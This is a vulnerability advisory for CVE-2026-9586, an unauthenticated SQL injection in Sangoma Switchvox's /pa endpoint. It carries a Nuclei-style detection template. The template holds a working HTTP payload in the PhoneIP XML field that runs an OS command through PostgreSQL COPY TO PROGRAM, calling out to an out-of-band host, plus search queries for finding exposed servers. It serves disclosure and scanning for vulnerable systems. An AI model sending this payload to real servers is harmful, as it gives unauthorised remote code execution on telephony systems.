CVE-2026-9586: Sangoma Switchvox < 8.4.0.2 - Unauthenticated SQL Injection

日期: 2026-09-16 | 影响软件: 未知 | PoC: 已公开

漏洞描述

Sangoma Switchvox before version 8.4.0.2 contains an unauthenticated SQL injection vulnerability in the /pa endpoint (PhoneAppsHandler.pm). The PhoneIP field extracted from an XML POST body is concatenated directly into an unparameterized PostgreSQL query that runs as a database superuser. An attacker can break out of the single-quoted SQL string context and leverage PostgreSQL COPY TO PROGRAM to execute arbitrary operating system commands without authentication.

PoC代码[已公开]

id: CVE-2026-9586

info:
  name: Sangoma Switchvox < 8.4.0.2 - Unauthenticated SQL Injection
  author: DhiyaneshDk
  severity: critical
  description: |
    Sangoma Switchvox before version 8.4.0.2 contains an unauthenticated SQL injection vulnerability in the /pa endpoint (PhoneAppsHandler.pm). The PhoneIP field extracted from an XML POST body is concatenated directly into an unparameterized PostgreSQL query that runs as a database superuser. An attacker can break out of the single-quoted SQL string context and leverage PostgreSQL COPY TO PROGRAM to execute arbitrary operating system commands without authentication.
  impact: |
    An unauthenticated remote attacker can achieve full remote code execution on the Switchvox server by injecting SQL via the PhoneIP XML field, leveraging PostgreSQL superuser privileges to execute arbitrary OS commands via COPY TO PROGRAM.
  remediation: |
    Upgrade Sangoma Switchvox to version 8.4.0.2 or later which parameterizes the SQL query and validates the PhoneIP input.
  reference:
    - https://horizon3.ai/attack-research/disclosures/cve-2026-9586-sangoma-switchvox-rce/
    - https://nvd.nist.gov/vuln/detail/CVE-2026-9586
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-9586
    epss-score: 0.11845
    epss-percentile: 0.95852
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.html:"switchvox"
    fofa-query: body="switchvox"
    vendor: sangoma
    product: switchvox
  tags: cve,cve2026,sangoma,switchvox,sqli,rce,oast,vkev,vuln,kev

http:
  - raw:
      - |
        POST /pa HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/xml

        <request><PhoneIP>10.0.0.1'; COPY (SELECT '') TO PROGRAM 'nslookup {{interactsh-url}}'--</PhoneIP><command>tel_notify</command></request>

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: word
        part: body
        words:
          - "<html><body></body></html>"
# digest: 490a00463044022029e98fc298bbcf66bd72b284993684b9fc602aa12f1e66e8c37ba56ba02062f60220515cef2cc901bb1f8f7fd64190af648d90522b21d82d938ddac67904c04b57e0:922c64590222798bb761d5b6d8e72950